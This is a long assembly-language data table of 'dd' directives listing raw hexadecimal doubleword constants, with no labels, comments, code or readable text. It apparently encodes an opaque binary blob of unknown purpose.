		dd 2232157Fh, 1132018Fh, 22217266h, 4C447874h, 0CEA4B10Bh
		dd 378DCB83h, 85BA28EFh, 57B79819h, 2D34015Dh, 113214E7h
		dd 58CDE966h, 4437FC06h, 3C7A1566h, 0F9088B99h,	88321576h
		dd 0D13A1BE3h, 8099225h, 0D811877Dh, 50FD536Eh,	0C1BB743Ch
		dd 24296DF6h, 48B7D39Eh, 0DC34017Ch, 44321E8Fh,	0CA105066h
		dd 0A5D81169h, 9C09ECC5h, 265A3C0Eh, 2222FC88h,	0E01C1566h
		dd 1BB5BE9Bh, 666BF37Eh, 2E453D52h, 0A4CD0789h,	8E260423h
		dd 4420FD06h, 0DC601566h, 0A76F459Ch, 6D1D8E41h, 10157C59h
		dd 270FE125h, 52E29400h, 5534A47h, 500906E3h, 223DFC60h
		dd 0DB0B1566h, 0E0A22C5h, 68069360h, 0BA38072Fh, 0E8E2EA6Fh
		dd 0F0A690EFh, 0CD3D137Dh, 22321577h, 1132198Fh, 45D166h
		dd 0D3EB5681h, 48230F5Dh, 0F68A7586h, 0E936DEB2h, 5E6B90A0h
		dd 0DA771372h, 710AD70Eh, 35475BCh, 256845ADh, 3377A099h
		dd 77521372h, 553D4EDh,	500906E3h, 0F2CDE060h, 89B79C9Eh
		dd 0E8340E1Eh, 44321C8Fh, 63C85C66h, 8B59473h, 48B29D5Eh
		dd 0F9B17492h, 242607ABh, 56B71A66h, 87321567h,	443212E9h
		dd 23BE1A66h, 0E8321566h, 0DF47406h, 42260F3Fh,	2226FC23h
		dd 28C61566h, 0F33A510Ah, 1B0065BBh, 71E9C626h,	63A2C411h
		dd 85DB4420h, 8321566h,	424D6227h, 6C1E5D48h, 7EBC98C0h
		dd 644C930Eh, 2FDB759Ch, 5E321566h, 1F9F7F9Ah, 69814BC9h
		dd 0C3A10B72h, 0EE53C5D0h, 9C2350D3h, 5CB41A60h, 0CB321566h
		dd 11321575h, 0FBA72D1Ah, 17E23253h, 0BDF9AC7Ch, 0E97D91FEh
		dd 507505Dh, 500906E3h,	0AA3D7560h, 11321563h, 703CEDCh
		dd 87B97339h, 0CBE2EA07h, 1132156Dh, 0AA1A4C5Ah, 8B22B84Bh
		dd 0ABB0A0E4h, 0A4A89E3h, 0DF4E060h, 42260F3Fh,	0AC3D752Ah
		dd 11321570h, 8832058Eh, 4C33EB66h, 0B898DEE8h,	9C7C5EDFh
		dd 34F108C0h, 0C43D4AD1h, 22321566h, 0C1F17D07h, 80DBF540h
		dd 5C321566h, 2583C690h, 0EE55DAFDh, 9C2350D3h,	45BD1A60h
		dd 0DE321566h, 2A2190EBh, 74521372h, 544AB00h, 0CBE2EA07h
		dd 11321576h, 6517B22Fh, 7A448E56h, 9692E1EEh, 106C1887h
		dd 0F09290EFh, 0C83D137Dh, 2232157Eh, 1132068Fh, 0BB0E3566h
		dd 7B5FF0B3h, 84D0A8C7h, 0C4746B02h, 43F63E7Ch,	4433228Fh
		dd 0A7F4E066h, 17260F3Fh, 855AE034h, 0AD8E5F82h, 22321574h
		dd 4B91AAE7h, 0D563C966h, 6D7D0E2Bh, 103F9859h,	0A4CD977Ch
		dd 8E26249Bh, 9FB37306h, 0E8B2886Eh, 94BF7468h,	8E262E75h
		dd 44389569h, 42521566h, 0D4C49407h, 0E9198BCFh, 24E2EA9Eh
		dd 98F5AC00h, 9853F9ECh, 934A89E3h, 443AFC60h, 0C4B71566h
		dd 5FBC008Ah, 0DF4D83Ch, 42260F3Fh, 2BDB7534h, 69321566h
		dd 14550732h, 33E97281h, 52E89400h, 1DB74E0h, 3B321566h
		dd 8ACA994Eh, 0EACDED35h, 0CE11FDF0h, 0E0287EBFh, 0E27E5F2Eh
		dd 2232048Fh, 0A19E9966h, 682E4634h, 5F16B4D2h,	2654AEA2h
		dd 0A4CD8AB5h, 8E26249Bh, 44259269h, 30DB1566h,	57321566h
		dd 897EED4Ch, 3ADA3E28h, 0DD9E7C84h, 5B39F97Ah,	9BB798D9h
		dd 2434015Dh, 222B9B69h, 5DB1566h, 1321566h, 9A365642h
		dd 0A1B901EEh, 25CEF493h, 0AA101274h, 0AC8566C9h, 2232156Bh
		dd 3DAFBB88h, 245ED4E6h, 6EAB52F6h, 0DD534A27h,	10B71AB6h
		dd 70321566h, 3C9290EFh, 33DB137Dh, 96321566h, 95DA351Ch
		dd 6E46FE43h, 314A3C78h, 51438823h, 926B90A0h, 0BD601372h
		dd 6086FF0Eh, 0E9CA759Bh, 0CD87EA07h, 24340177h, 0DAB84E34h
		dd 2B79807h, 7034015Dh,	0CDCEC599h, 3611C0E3h, 0F0B37560h
		dd 9A5A297Bh, 0E4BFBDDEh, 0A7F47463h, 17260F3Fh, 2B5AEC11h
		dd 0B1C182CEh, 2B03A099h, 9CCA1372h, 9C0906E3h,	43DB7560h
		dd 0AD321566h, 2EDDFA79h, 0F28A7B55h, 25046215h, 0A53DC599h
		dd 11321576h, 883BFC06h, 0A2CA1566h, 0D94E9ADFh, 7010B6E1h
		dd 0BC6390EFh, 0C73D1372h, 22321567h, 48B7D393h, 0DA34017Ch
		dd 44339969h, 0DBC71566h, 0CC03020Eh, 8837FCECh, 69A61566h
		dd 0DD0D0039h, 52350D3h, 8822FC60h, 5FAE1566h, 5E7277BAh
		dd 6CC3BBDCh, 3639F5FFh, 0C1BFE0FCh, 24262E75h,	11321C8Fh
		dd 9EDF4E66h, 3A7F2BD3h, 0F2CDC3EBh, 0ACB79C9Eh, 6134016Fh
		dd 4432156Dh, 1F362DC3h, 37FC8073h, 87A79B8Ch, 443216E3h
		dd 43CE7566h, 0B6B90A0h, 61641372h, 44321568h, 72F79FDEh
		dd 0A9078F18h, 7912EC80h, 7D5A1C39h, 0DAE60A0Bh, 0BE3A099h
		dd 9521372h, 0FAF618AFh, 431DA438h, 91E990EBh, 0B3D1371h
		dd 4432156Ah, 22349069h, 983D1566h, 88321566h, 0C93DC599h
		dd 22321567h, 0DCB79C9Fh, 71340160h, 5E6B90A0h,	0CB751372h
		dd 1132156Ch, 0F481EA8Fh, 9B2521D9h, 585A740Bh,	0E8B3C976h
		dd 9977A099h, 0C03D1372h, 22321571h, 11239969h,	84DB1566h
		dd 43321566h, 7FF19907h, 0B7913E11h, 504E23Dh, 500906E3h
		dd 2EBC1A60h, 0F8321566h, 88321561h, 0F3C2935Ch, 0DD7EC32Ah
		dd 1120FCB6h, 7F161566h, 87215BDFh, 27212DFCh, 66CC0C53h
		dd 0A4B38D74h, 41B790EFh, 0E4C71372h, 5284CE3h,	86DB5260h
		dd 0BF321566h, 98263CE4h, 9D95BFF0h, 0C0F016AFh, 443DFC36h
		dd 51631566h, 0EC9E32D7h, 0DE64921Eh, 25673BF1h, 97D07D74h
		dd 9B529F69h, 6AB373AAh, 0BB5384FFh, 362350D3h,	0FEB37560h
		dd 9A875954h, 0A97740DDh, 0A7BF7432h, 17262E75h, 88321A8Fh
		dd 0A3A21966h, 0BB84E2BDh, 0FF80D6CDh, 0ACAC3436h, 0F152C599h
		dd 27B41AE3h, 0A8321566h
		dd 880212D2h, 84B79C07h, 0CB340E1Eh, 11321560h,	4B2695DFh
		dd 83CE4F03h, 36311CE3h, 11326D60h, 35B1E066h, 42263EF3h
		dd 5DB61A66h, 7132157Fh, 0BCED9400h, 838D1A90h,	7BB7D307h
		dd 5D34017Ch, 94DB7D9Ah, 0BBC7CCBCh, 362350D3h,	113AFC60h
		dd 9A011566h, 95AB791Ah, 0A7BF2944h, 17262E75h,	883F9169h
		dd 4CDB1566h, 86321566h, 8FCE567Ah, 77AB847Fh, 43BD1AB6h
		dd 42321566h, 47E3AA69h, 0DBB7438h, 42296DCAh, 223A9E69h
		dd 77521566h, 0D84096D8h, 82CA743Ch, 36284CE3h,	2DB5960h
		dd 0F0321566h, 521C1338h, 0AF9D09D6h, 0E1DA081Bh, 3257F67Fh
		dd 8A5AD5FBh, 0DAEF61B8h, 77A099h, 73D1372h, 44321572h
		dd 22321A8Fh, 0A6CC4C66h, 0D249BA9Ch, 0E2D910Eh, 95ACE77Dh
		dd 2A2190EBh, 0EE521372h, 0E08ECCE7h, 0B245CEE7h, 0EE53393Bh
		dd 8823FCB6h, 0E18B1566h, 65110557h, 0CF370794h, 78E64939h
		dd 0CDA3F1B3h, 394AA5E3h, 19BC1A60h, 87321566h,	443217ECh
		dd 0E4537566h, 5284CE3h, 33D5960h, 4432157Bh, 2220FC06h
		dd 0E1CE1566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h
		dd 8BB0AD00h, 0C60D7D07h, 0AB3DA2E7h, 1132156Eh, 88309F69h
		dd 25521566h, 3377A099h, 1EDB1372h, 0A4321566h,	0EC8FA281h
		dd 61C8F6DEh, 7F2FC664h, 0DBF45DDh, 42262E75h, 22339569h
		dd 0EECE1566h, 86B91AB6h, 0AD321566h, 2232156Fh, 0B565DE97h
		dd 5D3C5D56h, 0F0B79CF4h, 0DB340E1Eh, 0B6B90A0h, 707E1372h
		dd 6B720D0Eh, 2223FCD5h, 0F4461566h, 0A514BEB0h, 2CA6B84Fh
		dd 0DD261928h, 71FB8C92h, 49CD4FDFh, 86B97308h,	6787EA07h
		dd 0F8340177h, 88321574h, 0AA0ADA40h, 4B7D4EF8h, 5AFE65B1h
		dd 0E4057235h, 0C1BF0DACh, 24262E75h, 17BF1A06h, 87321566h
		dd 443215EDh, 6593AE66h, 0EE532D4Ch, 8FB31AB6h,	4B321566h
		dd 223214E0h, 16DBEC66h, 56321566h, 5691E2D8h, 0A7BB5FEAh
		dd 17296DD2h, 88321E8Fh, 8B1E6766h, 98FB8008h, 0B2EF410Fh
		dd 926B90A0h, 4B741372h, 22320EEBh, 0E9B97566h,	8832078Fh
		dd 1FC89E66h, 0FF7A60CDh, 1398B669h, 0C5927612h, 25BF6426h
		dd 0FC34010Eh, 0AB61ADCh, 0E8321566h, 56DB4C30h, 0C7321566h
		dd 68D15873h, 8A7EF6ACh, 402DABD0h, 0AF341A1Ch,	0A4CD7408h
		dd 8E260423h, 8BB37306h, 0A3548CAAh, 7024928Ch,	88321F8Fh
		dd 61D7766h, 53EE3588h,	9C2EE277h, 9C0906E3h, 0CE3D7560h
		dd 2232157Fh, 1132018Fh, 77D07966h, 0CB9F47D4h,	90CEA246h
		dd 0A5A3AFC7h, 0C41C8986h, 87B373F9h, 0DD537FB2h, 1126FCB6h
		dd 2A5E1566h, 2C18033Eh, 0E150A412h, 983A273Dh,	2343A3F9h
		dd 0C1BB0F3Dh, 24296DDAh, 5A887306h, 0DF47411h,	42260F3Fh
		dd 585AED21h, 0E9B3C976h, 9977A099h, 0CD3D1372h, 22321574h
		dd 1132188Fh, 1480EC66h, 4039E326h, 6BAF1880h, 94BFAB07h
		dd 8E262E75h, 4432048Fh, 0D71D7E66h, 5526D693h,	0BA68F096h
		dd 0C713FA17h, 0A83DB5EDh, 11321573h, 8832058Fh, 9FA0D666h
		dd 933FA796h, 0A1E1125Fh, 0E71BCAD5h, 0ADE2EAFEh, 2232156Dh
		dd 0CDD2E12Eh, 0BBC61C57h, 0CDCF9D6Bh, 394AD1E3h, 10B31A60h
		dd 71321566h, 5E6B90A0h, 2D751372h, 11320FE4h, 9CB11A66h
		dd 0AD321566h, 22321569h, 77B8D2Ch, 354D0Fh, 106BF5F1h
		dd 4ABA066Bh, 0FEB59BCAh, 88339169h, 0BBC71566h, 362350D3h
		dd 7BD1A60h, 61321566h,	44321577h, 0F84DC44Ah, 0EE37E8F5h
		dd 0F7CC44D9h, 0E6F2F387h, 31B798C2h, 0F834015Dh, 88321574h
		dd 7702A02Eh, 7E7695EFh, 97C53EEDh, 40E3CA8Dh, 94CD88CEh
		dd 0EBEB9406h, 4276DFF5h, 88321C8Fh, 8ADC7D66h,	0B222DD4Fh
		dd 7068901Dh, 88399269h, 22521566h, 9DFEB6D8h, 798E0E3Bh
		dd 40B79C07h, 24340E1Eh, 0CACC9E00h, 11321561h,	41C77Ch
		dd 127FBEF5h, 0D7534B39h, 0B6B90A0h, 87751372h,	443206EFh
		dd 0CDB27566h, 113BFC0Bh, 0F9441566h, 214A70Dh,	437E52ABh
		dd 8B95C70Eh, 8822FCB2h, 24A81566h, 9AD10315h, 0FF3B6E72h
		dd 4808F9FBh, 0F1CD79D0h, 24260423h, 11359D69h,	8521566h
		dd 1E624683h, 31B79807h, 0F834015Dh, 8832156Ah,	87215BDFh
		dd 27212DFCh, 66CC0C53h, 883F9169h, 4CDB1566h, 0A1321566h
		dd 0E056BAFBh, 77D7FCBDh, 0C1BBEDB6h, 24296DAAh, 112E9569h
		dd 60521566h, 44321574h, 53CA50A2h, 1643CF33h, 470642BDh
		dd 607D7500h, 426DF8DFh, 94F47407h, 8E260F3Fh, 4422FC21h
		dd 0D6201566h, 0C3E7DB64h, 31BF2612h, 0A4795E02h, 265A24ABh
		dd 0F888D45Fh, 88321560h, 0FD70050Ch, 27DBD085h, 9F321566h
		dd 840AC8D5h, 5577A099h, 44521372h, 0F861E5EDh,	8832156Bh
		dd 856C58F8h, 94C89944h, 9A5E5C0h, 5534BBCh, 500906E3h
		dd 30B21A60h, 0F8321566h, 8832156Bh, 45F4E050h,	8079A866h
		dd 0F52F2Bh, 80BA1A6Bh,	24321566h, 2DC5A269h, 0EE53CED1h
		dd 94BB1AB6h, 4B321566h, 223203E0h, 1123FC66h, 0E15E1566h
		dd 81B64B20h, 0B343490Ch, 0E40B4AC7h, 13A3839h,	5F4AC5E3h
		dd 2ABB1A60h, 1E321566h, 883217ECh, 0C7537566h,	36121CDBh
		dd 943D1560h, 88321506h, 1DB7D39Ah, 6534017Ch, 11389469h
		dd 8DDB1566h, 2A321566h, 95459CF6h, 3C557D93h, 77C7F514h
		dd 502350D3h, 0A7BFE060h, 17262E75h, 87E2EA9Fh,	443219E8h
		dd 2235FC66h, 0F7501566h, 3952AA5h, 4421FCF2h, 0D7531566h
		dd 7196D2F1h, 3B21EBFBh, 17C846D6h, 6F6D4002h, 0C5B79C73h
		dd 71340E1Eh, 5E6B90A0h, 0DE751372h, 3881A40Eh,	3DCDEDE8h
		dd 42260423h, 22339F69h, 9CCA1566h, 9C0906E3h, 50B91A60h
		dd 0CB321566h, 11321569h, 8CBC3E12h, 5E51B3DDh,	8B8978CFh
		dd 0EEECB38Ah, 8838FCB6h, 3561566h, 3B54735Bh, 2671102Fh
		dd 8832188Fh, 479BDD66h, 0AFEE6984h, 5FF2773Ah,	0DBB8152h
		dd 42296DBEh, 22339669h, 0D7C71566h, 9C284CE3h,	24525660h
		dd 43C4AA69h, 41E1AC00h, 0C2957D07h, 4BDBD510h,	0E0321566h
		dd 75BC5E1Fh, 0EAE693C0h, 0DDC116AEh, 97CD2628h, 17260423h
		dd 9BB7989Eh, 0BC34015Dh, 22339A69h, 0EECE1566h, 0DBBE0B6h
		dd 42296DBAh, 2220FC06h, 9441566h, 60D75B15h, 2E93570Eh
		dd 0C18B5776h, 9BB70AA3h, 88349969h, 0CE3D1566h, 22321566h
		dd 48B7D307h, 0C434017Ch, 44321A8Fh, 0C0D0B466h, 907EF43h
		dd 0FA3A308Eh, 0C3740588h, 445EFE0Eh, 2DB759Dh,	0FF321566h
		dd 2FFACFD4h, 11A69B5Dh, 10DA814Bh, 63A1DDB4h, 0FB3DD70Ch
		dd 97CD7495h, 17261C57h, 9EB9E06h, 4D586997h, 0A7BF740Eh
		dd 17262E75h, 882D9069h, 0C43D1566h, 2232157Fh,	1132018Fh
		dd 7F872C66h, 558F2306h, 1266732Dh, 36061AFEh, 4D47931Fh
		dd 0B1E2EA97h, 5B4290EFh, 7052137Dh, 926B90A0h,	24761372h
		dd 2220FC93h, 98EB1566h, 55F42C58h, 12394D8Bh, 72C39E94h
		dd 184391ACh, 9CB61A07h, 0AD321566h, 22321569h,	0A33602C5h
		dd 0FBDDE6DFh, 4756E411h, 4AD20709h, 0AA419B33h, 748B7506h
		dd 2541814Bh, 0DA53C5ECh, 77A099h, 0EE521372h, 15BCFDE7h
		dd 1853AB00h, 94BFE907h, 8E262E75h, 44359B69h, 0A83D1566h
		dd 11321567h, 61E2EA9Fh, 44321575h, 0AE664705h,	0B2D53D22h
		dd 8AD73DA4h, 4A615173h, 2D40E8C8h, 113205EDh, 8839FC66h
		dd 0B40D1566h, 83BB4770h, 499F3001h, 68B79CADh,	0AD340E1Eh
		dd 22321576h, 92300639h
		dd 0B3BF40C4h, 0FBC78C3Eh, 2F8CA151h, 0B6B90A0h, 0E8711372h
		dd 5FC4AD00h, 22321D8Fh, 27096666h, 48D96490h, 0B85A7457h
		dd 0CB8E9B08h, 1132156Ch, 38889372h, 0C3627156h, 97CD6BD8h
		dd 17260423h, 8832018Fh, 0A2A81C66h, 5249682Dh,	5A59AD86h
		dd 3D19C4A6h, 30ACE4D7h, 31B798B9h, 0E434015Dh,	1CBC599h
		dd 5F4AF1E3h, 31DB7560h, 0F7321566h, 68250A21h,	9EE793BFh
		dd 31ECE497h, 0DAEA91F5h, 6585B8EAh, 1DB7D307h,	7134017Ch
		dd 11321F8Fh, 0B1EC4266h, 27D214C0h, 0D7B3958Ah, 10CBF0Eh
		dd 13D75A0h, 44321562h,	3E97AD00h, 0EE534AD4h, 9C2350D3h
		dd 22C77560h, 4372E8DEh, 2A2190EBh, 61521372h, 44321561h
		dd 219F4BA7h, 0E889E2A0h, 70E2EA07h, 3CDA90EFh,	0CBCA137Dh
		dd 11321577h, 0A42869C6h, 5F2D8E51h, 18458317h,	0FE116DBFh
		dd 0C18F9605h, 4434016Fh, 21C39169h, 0D7CE1566h, 9C284CE3h
		dd 0C33D5360h, 22321560h, 716B4706h, 0E0CE7407h, 0BEA4DB57h
		dd 6787EA9Fh, 0F8340177h, 88321563h, 75CA90E3h,	31B7982Bh
		dd 7134015Dh, 74E2EA07h, 3D7690EFh, 0AE3D137Dh,	1132156Eh
		dd 88309E69h, 25521566h, 386B90A0h, 71741372h, 88309E69h
		dd 25521566h, 43F5AA69h, 76FC9406h, 0E95626E6h,	0E308C30Eh
		dd 97CDE99Ah, 17260423h, 9BB7989Eh, 2434015Dh, 2CE39400h
		dd 15BA1A99h, 0EE321566h, 25361DDCh, 0A13DC599h, 11321573h
		dd 8832058Fh, 511B3066h, 9335623Fh, 0F00E9BD5h,	96A6FE63h
		dd 4AB91A75h, 0CB321566h, 1132156Fh, 0DA0863A9h, 9753F183h
		dd 76B79C0Ch, 71340E1Fh, 438D1A93h, 1DB7D307h, 6434017Ch
		dd 11299A69h, 3D1566h, 44321573h, 2232058Fh, 0E1163D66h
		dd 0D36E6163h, 9EA5B703h, 47D439DDh, 0B5327D69h, 352879Ah
		dd 25CC9EAEh, 3377A099h, 903D1372h, 8832156Ah, 44B41A06h
		dd 44321566h, 7013BBDEh, 0B32190EBh, 0BBC71372h, 27DB75B6h
		dd 0FA321566h, 0F6E0F247h, 175AF00h, 7AB79C07h,	71340E1Fh
		dd 0CDD39400h, 255243E0h, 0A7F4743Fh, 17260F3Fh, 91BB1A20h
		dd 0AD321566h, 22321572h, 8913578Eh, 8DCDFE00h,	3476811Fh
		dd 31D10AD5h, 9687DC60h, 88229669h, 4FDB1566h, 0FD321566h
		dd 0B7836574h, 1268A8EFh, 2E5AC4AFh, 0CBC4C129h, 11321568h
		dd 30A77C2h, 900CBF21h,	0FD78BE3Ch, 0A4CD7380h,	8E260423h
		dd 44339469h, 0AFC71566h, 50906E3h, 90B41A60h, 4B321566h
		dd 223207EEh, 113FFC66h, 6B251566h, 407D55EDh, 2C9BC8CCh
		dd 0EE5FACC2h, 99B11AB6h, 0AD321566h, 2232156Ah, 5A53B92Dh
		dd 37F98CF0h, 7DD198EBh, 5B6E90EFh, 943D137Dh, 8832157Eh
		dd 4432068Fh, 0A50FBB66h, 0BCDC0C23h, 9FDE3D75h, 0F01B7741h
		dd 9B60B39Eh, 1132078Fh, 0D2C32066h, 71139C0h, 69712CD3h
		dd 6BDA129Eh, 4E9F714Dh, 50284CE3h, 33DB5360h, 39321566h
		dd 0F42AD99h, 0A6BF27F8h, 344F4970h, 2E090F63h,	4562F20Eh
		dd 4426FCF2h, 0BEEA1566h, 18F3F200h, 4C758082h,	0D42E3651h
		dd 0E49A7E71h, 0A4CD36F8h, 8E260423h, 443B9B69h, 74521566h
		dd 0E0B3733Ch, 6153B852h, 44321569h, 0A8510395h, 0CCF79C78h
		dd 0EF1AD10Ch, 0C9485614h, 360906E3h, 1DA7560h,	0DD321566h
		dd 0CC7D01BAh, 0C948BD49h, 0A5B99235h, 877805C4h, 256AC2D1h
		dd 0A952C599h, 5DB46A5h, 1321566h, 3C852962h, 53EC8A07h
		dd 0AA275625h, 851C8AD7h, 1D108AB3h, 0A7BBED07h, 17296C2Eh
		dd 7D53ED06h, 5E6B90A0h, 42741372h, 112A9D69h, 9BDB1566h
		dd 71321566h, 1BFD38A2h, 0A64D31E3h, 0DC622EA3h, 9C8C4CECh
		dd 0A43DF213h, 11321563h, 0E0FC9400h, 7F5A7458h, 2D833712h
		dd 113219EBh, 8835FC66h, 0DCA91566h, 0C78DA6F6h, 5487EAE9h
		dd 0E8340177h, 0C6DB46DCh, 0A7BF743Eh, 17262E75h, 88359869h
		dd 0C93D1566h, 22321567h, 71E2EA9Fh, 0EBE19400h, 443DFD37h
		dd 0C8231566h, 9E69159h, 0BC646017h, 3FA50C9Ah,	22BD1AC4h
		dd 4B321566h, 8FDB7507h, 47321566h, 0A0194D6Bh,	98539E1Fh
		dd 934B59E3h, 4439FC60h, 0A24C1566h, 95B05905h,	0FEB54D8Fh
		dd 0C1F4ED24h, 24260F3Fh, 1122FC20h, 0EFF71566h, 198679EFh
		dd 4177C414h, 6790BFA5h, 655A0F11h, 0ADED6C8Ch,	22321577h
		dd 1370AE16h, 70FA947Ah, 4C317AFCh, 1B88EC96h, 5487EA1Ch
		dd 7D340177h, 7F2190EBh, 0DDCE1372h, 1121FCB6h,	8F571566h
		dd 3AC4D869h, 0E434D386h, 7019183Ah, 8D434EEh, 14B79C5Dh
		dd 2D340E1Fh, 11321BECh, 883BFC66h, 38B11566h, 73E28009h
		dd 92DE240Fh, 9C121CDBh, 0C13D1560h, 22321538h,	48B7D393h
		dd 0DB34017Ch, 0F3CB7506h, 4A53748Ah, 0DF8CF538h, 82B91A9Fh
		dd 24321566h, 0F2C39400h, 0DAF69505h, 0CD87EA07h, 0B8340177h
		dd 192190EBh, 0DB1372h,	0D2321566h, 74F43725h, 2F9595Ch
		dd 0CB00D875h, 3F2E4D2Eh, 0CDCEC599h, 394AF9E3h, 113AFC60h
		dd 93B51566h, 68B1E17Fh, 0A7F42108h, 17260F3Fh,	9CB71A21h
		dd 24321566h, 22321D8Fh, 0D3E92166h, 0BD817356h, 171EAB01h
		dd 0CB536FBBh, 1132156Dh, 0AA1C4F8Fh, 2410D865h, 4A876DCDh
		dd 0D6834BE1h, 8832068Fh, 1F911B66h, 97BCDFB4h,	0DCD760C0h
		dd 86580A02h, 7E577641h, 3377A099h, 1EDB1372h, 9D321566h
		dd 7E699ECAh, 5FFB4B23h, 0CD99E187h, 0D8524A74h, 1C9CE1E6h
		dd 7B537537h, 2B79807h,	8734015Dh, 443214E2h, 0A03DEC66h
		dd 1132156Ch, 87C19F06h, 443215E7h, 0F2CD7466h,	113F9B69h
		dd 9521566h, 23C29FACh,	48EFAD0Ah, 985364EFh, 934AE5E3h
		dd 0F9B1EC60h, 2426356Fh, 9FB71A66h, 61321566h,	44321577h
		dd 0D14607FDh, 5C5D91DEh, 4CFE4E43h, 1D80717Ch,	7BB7D370h
		dd 5634017Ch, 8832068Fh, 6678C166h, 7278A761h, 2271B4ABh
		dd 9A70BEF4h, 0AEC07D3h, 404C100Eh, 19B81A80h, 0E8321566h
		dd 0FE54D4EDh, 0DD53A4CDh, 52350D3h, 8834FC60h,	3B01566h
		dd 14F3FF5Dh, 2A2190EBh, 77CB1372h, 45B31AB6h, 0DA321566h
		dd 69C690EFh, 6152137Dh, 44321569h, 173D6A0Ah, 15FF10FDh
		dd 624A0FD6h, 4B90F606h, 223217E7h, 70537566h, 0D1B7D39Eh
		dd 734017Ch, 2232128Fh,	0C9280566h, 95360D77h, 3E3BE30Eh
		dd 0D752E9F4h, 70F8A269h, 9977A099h, 0C9CA1372h, 360906E3h
		dd 1123FC60h, 6D461566h, 6914BEB0h, 4AA6B84Fh, 0EE261928h
		dd 77FB8C92h, 0C83DE9B6h, 2232156Eh, 11309F69h,	0E9521566h
		dd 3CCA90EFh, 9652137Dh, 94F4744Ah, 8E260F3Fh, 0C73D7525h
		dd 22321565h, 9AF0AA69h, 0A85A74A9h, 24CE34F1h,	5B62F8DEh
		dd 1139FC41h, 356E1566h, 216B9669h, 2664D0EEh, 0A4CD7425h
		dd 8E260423h, 54B51A93h, 0CB321566h, 1132156Dh,	642467A6h
		dd 79943803h, 0AFCEDCA9h, 50906E3h, 0D6637560h,	44349D69h
		dd 0A23D1566h, 11321566h, 87E2EA07h, 44321BE2h,	27DB7566h
		dd 0ED321566h, 4B8F5DB3h, 4B53EEEDh, 22321CEDh,	4B627566h
		dd 0BCD3D5DEh, 0C1BB745Eh, 24296D9Ah, 1126FD06h, 0C111566h
		dd 3FB1C48Eh, 0F9B939A8h, 7CE1878Dh, 0F974076Bh, 0B3B37CBDh
		dd 5202CA71h, 1134FD3Eh, 588C1566h, 0AF8790E6h,	7A4FDFE6h
		dd 188F9607h, 88340146h, 45249069h, 0A33D1566h,	11321570h
		dd 61C09E06h, 4432156Bh, 9AF32FEh, 966769B7h, 643BCC0Bh
		dd 0C1F47460h, 24260F3Fh, 993D7525h, 88321563h,	27F39400h
		dd 0AE3D75D9h, 11321566h
		dd 8832078Fh, 62533466h, 7B7B30EDh, 0B4132C15h,	0C458804Fh
		dd 2538C7FDh, 8A317D07h, 0E9529E66h, 88B41A31h,	1D321566h
		dd 0E9B37507h, 24E387C7h, 9ED59400h, 0F1CD742Bh, 24260423h
		dd 11321E8Fh, 23619A66h, 9D9454EBh, 3731B3Ah, 11339B69h
		dd 5C71566h, 500906E3h,	0F2CDE060h, 11209D69h, 85DB1566h
		dd 0C6321566h, 4424890Eh, 0B51C912Fh, 4F3F553Fh, 3D3690EFh
		dd 0A23D137Dh, 11321568h, 88321C8Fh, 0A22D8566h, 0A6D72740h
		dd 94F4F3DCh, 8E260F3Fh, 4FB31A25h, 42321566h, 0C4D71AD9h
		dd 46897301h, 915A74E8h, 0DAD74E50h, 77A099h, 9ADB1372h
		dd 0FC321566h, 56DBA78h, 0E52EB2DCh, 0A7F6EAC2h, 5D6743D2h
		dd 31B798B8h, 1E34015Dh, 883214EEh, 94CDE966h, 22B79C9Ah
		dd 0E9340E1Fh, 926B90A0h, 24711372h, 2232108Fh,	0EE814566h
		dd 0EE52F77Bh, 4B4645D9h, 4353E2D9h, 0BB00F40Eh, 8752E98Ch
		dd 25CAC4D1h, 3377A099h, 0A8521372h, 9CC5F45Eh,	25FA9E00h
		dd 192190EBh, 91521372h, 7753CD92h, 6C8975B6h, 0A95FF648h
		dd 98CE749Fh, 934B1DE3h, 8FB97560h, 4369EC31h, 0B6B90A0h
		dd 87711372h, 443214EAh, 155AEC66h, 71B6E4CAh, 88379F69h
		dd 4D8D1566h, 0A3496855h, 0DABAC4A1h, 3DCD7453h, 42260423h
		dd 2232128Fh, 9DDE766h,	0C5444DE4h, 7F2190EBh, 0DDCE1372h
		dd 913D75B6h, 88321566h, 443F9B69h, 25DA1566h, 97321566h
		dd 57096F3Eh, 2569C8C7h, 2EB79C9Fh, 1E340E1Fh, 883214E4h
		dd 0C1F4E966h, 24260F3Fh, 1139FC29h, 0C2E71566h, 0B8903DBFh
		dd 79C91529h, 81E67DACh, 3E528253h, 443DFC5Ah, 0D1631566h
		dd 0D5BCFEE1h, 8CE441EAh, 3AFE80A5h, 97CD7498h,	17260423h
		dd 8832188Fh, 0BAE07266h, 0B4BB741Ch, 0F3F9D399h, 0DBFC792h
		dd 42262E75h, 2238FC06h, 76E71566h, 0F21FA43Fh,	689BEED8h
		dd 2DE2EA07h, 113214E2h, 0DBBED66h, 42296C76h, 22339569h
		dd 0D7CE1566h, 9C284CE3h, 4B525A60h, 0CB60CBD1h, 1132156Fh
		dd 7CB95274h, 83490FA3h, 4A534C6Eh, 0E85C1B64h,	883F9369h
		dd 4CDB1566h, 0F9321566h, 0A1340DD5h, 87B2C1CAh, 443201E4h
		dd 223DFC66h, 15301566h, 81DAD9D9h, 169D0E0Bh, 0D971BC6Eh
		dd 5487EADAh, 0E8340177h, 44321F8Fh, 0B73A1B66h, 3B099225h
		dd 0EE11877Dh, 89F7C3E7h, 31B79807h, 0F834015Dh, 88321576h
		dd 4C0B8D3Ch, 17EB5430h, 87D3DA23h, 0FCB86481h,	0C83DC599h
		dd 22321576h, 11321E8Fh, 5E47E466h, 0F036549Dh,	5DDEE5B3h
		dd 1132048Fh, 0F762C66h, 0B04CB744h, 6D7FDC68h,	4179CE4Dh
		dd 0DBBD2E2h, 42296C72h, 0CAB34406h, 3C03F0D1h,	883EFC39h
		dd 0B3391566h, 186B9B80h, 0A5307FCDh, 4E53EFFDh, 50284CE3h
		dd 24DB5860h, 0B2321566h, 0C6FAB62h, 0D5AED14h,	42FA221Fh
		dd 11321C8Fh, 4727BA66h, 9C745ED7h, 0A954308Bh,	0A4CD749Ch
		dd 8E260423h, 57B79893h, 0DA34015Dh, 14DBC599h,	63321566h
		dd 0F86DEB57h, 5B2E90EFh, 1EC7137Dh, 883206E0h,	443CFC66h
		dd 5F0D1566h, 0D27FFA1h, 870F7364h, 84A57D65h, 386B90A0h
		dd 717F1372h, 883D9B69h, 4EDB1566h, 6E321566h, 6C20CFFAh
		dd 34AC3CDAh, 25F59EA6h, 0D57F9C0Eh, 0A4CDECBAh, 8E260423h
